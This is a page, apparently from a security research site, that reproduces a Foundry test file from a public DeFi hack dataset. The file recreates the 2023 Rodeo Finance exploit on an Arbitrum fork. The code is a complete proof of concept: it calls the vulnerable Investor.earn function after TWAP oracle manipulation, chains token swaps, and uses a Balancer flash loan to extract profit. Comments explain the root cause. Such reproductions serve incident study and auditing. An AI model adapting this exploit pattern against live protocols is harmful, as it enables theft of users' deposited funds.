Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/RodeoFinance_exp.sol

Public reproduction file for dataset entry RodeoFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/RodeoFinance_exp.sol151 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~472 Ether (~$888K)
8// Attacker : https://arbiscan.io/address/0x2f3788f2396127061c46fc07bd0fcb91faace328
9// Attack Contract : https://arbiscan.io/address/0xe9544ee39821f72c4fc87a5588522230e340aa54
10// Vulnerable Contract : https://arbiscan.io/address/0xf3721d8a2c051643e06bf2646762522fa66100da
11// Attack Tx : https://arbiscan.io/tx/0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1678765773396008967
15// https://twitter.com/peckshield/status/1678700465587130368
16// https://medium.com/@Rodeo_Finance/rodeo-post-mortem-overview-f35635c14101
18interface IInvestor {
19 function earn(
20 address usr,
21 address pol,
22 uint256 str,
23 uint256 amt,
24 uint256 bor,
25 bytes memory dat
26 ) external returns (uint256);
29interface ICamelotRouter {
30 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
31 uint256 amountIn,
32 uint256 amountOutMin,
33 address[] memory path,
34 address to,
35 address referrer,
36 uint256 deadline
37 ) external;
40interface ISwapRouter {
41 struct ExactInputParams {
42 bytes path;
43 address recipient;
44 uint256 deadline;
45 uint256 amountIn;
46 uint256 amountOutMinimum;
47 }
49 function exactInput(
50 ExactInputParams memory params
51 ) external payable returns (uint256 amountOut);
54contract RodeoTest is Test {
55 IERC20 unshETH = IERC20(0x0Ae38f7E10A43B5b2fB064B42a2f4514cbA909ef);
56 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
57 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
58 IInvestor Investor = IInvestor(0x8accf43Dd31DfCd4919cc7d65912A475BfA60369);
59 ICamelotRouter Router = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);
60 ISwapRouter SwapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
61 IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
62 address private constant usdcPool = 0x0032F5E1520a66C6E572e96A11fBF54aea26f9bE;
63 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
65 function setUp() public {
66 cheats.createSelectFork("arbitrum", 110_043_452);
67 cheats.label(address(unshETH), "unsETH");
68 cheats.label(address(WETH), "WETH");
69 cheats.label(address(USDC), "USDC");
70 cheats.label(address(Investor), "Investor");
71 cheats.label(address(Router), "Router");
72 cheats.label(address(SwapRouter), "SwapRouter");
73 cheats.label(address(Vault), "Vault");
74 }
76 // Root Cause
77 // The attacker was able to manipulate the Camelot V2 TWAP Oracle (attacking the unreleased ETH-unshETH pool)
78 // TWAP price was calculated by averaging the last 4 instances of updated price where each price updating occurs every 45 minutes
79 // TWAP price was manipulated via multiblock “sandwich” attack
80 // Rodeo Farms utilized the faulty price oracle for LP pricing
81 // Ultimately, the attacker bypassed the Health Factor check via Price Oracle manipulation,
82 // opened positions using borrowed funds from the USDC Pool and triggered large-scale swaps in the Camelot Pair.
83 // They then capitalized on the price difference by conducting equal-sized swaps in the opposite direction, thus profiting from the arbitrage opportunity
85 function testExploit() public {
86 // Begin with the specific amount of unsETH (info about amount taken from the above attack tx)
87 // the attackers manipulated the price of TWAP Oracle through multiple transactions
88 // such as https://arbiscan.io/tx/0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c
89 // https://arbiscan.io/tx/0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e
90 deal(address(unshETH), address(this), 47_294_222_088_336_002_957);
91 unshETH.approve(address(Router), type(uint256).max);
92 WETH.approve(address(Router), type(uint256).max);
93 USDC.approve(address(SwapRouter), type(uint256).max);
95 // Vulnerable function
96 // Vulnerability can be forced to swap USDC -> WETH -> unshETH
98 Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500));
99 // Swaps on CamelotRouter
100 swapTokens(unshETH.balanceOf(address(this)), address(unshETH), address(WETH));
101 swapTokens(WETH.balanceOf(address(this)), address(WETH), address(USDC));
102 // Swap USDC to WETH on SwapRouter (UniswapV3 router)
103 swapUSDCToWETH();
104 takeWETHFlashloanOnBalancer();
106 emit log_named_decimal_uint(
107 "Attacker balance of unshETH after exploit", unshETH.balanceOf(address(this)), unshETH.decimals()
108 );
109 emit log_named_decimal_uint(
110 "Attacker balance of WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals()
111 );
112 }
114 function receiveFlashLoan(
115 address[] memory tokens,
116 uint256[] memory amounts,
117 uint256[] memory feeAmounts,
118 bytes memory userData
119 ) external {
120 // Swap flashloaned WETH amount to USDC
121 swapTokens(amounts[0], address(WETH), address(USDC));
122 // Swap all of the USDC tokens to WETH
123 swapUSDCToWETH();
124 // Repay flashloan
125 WETH.transfer(address(Vault), amounts[0]);
126 }
128 function swapTokens(uint256 amountIn, address fromToken, address toToken) internal {
129 address[] memory path = new address[](2);
130 path[0] = fromToken;
131 path[1] = toToken;
132 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
133 amountIn, 0, path, address(this), address(0), block.timestamp + 100
134 );
135 }
137 function swapUSDCToWETH() internal {
138 bytes memory path = abi.encodePacked(address(USDC), uint24(500), address(WETH));
139 ISwapRouter.ExactInputParams memory params =
140 ISwapRouter.ExactInputParams(path, address(this), block.timestamp + 100, USDC.balanceOf(address(this)), 0);
141 SwapRouter.exactInput(params);
142 }
144 function takeWETHFlashloanOnBalancer() internal {
145 address[] memory tokens = new address[](1);
146 tokens[0] = address(WETH);
147 uint256[] memory amounts = new uint256[](1);
148 amounts[0] = 30e18;
149 Vault.flashLoan(address(this), tokens, amounts, bytes(""));
150 }

Analysis

Dataset entry

Public Foundry test for “RodeoFinance” (2023-07-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2f3788f2396127061c46fc07bd0fcb91faace328

  • Attack Contract

    0xe9544ee39821f72c4fc87a5588522230e340aa54

  • Vulnerable Contract

    0xf3721d8a2c051643e06bf2646762522fa66100da

  • Attack Tx

    0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a

File record

Name
RodeoFinance
Path
src/test/2023-07/RodeoFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
04d943d92f80d2f26a539f2f1d215ff28cfd2c90
Language
Solidity
Size
152 lines
Date
2023-07-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/RodeoFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 04d943d92f80d2f26a539f2f1d215ff28cfd2c90, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.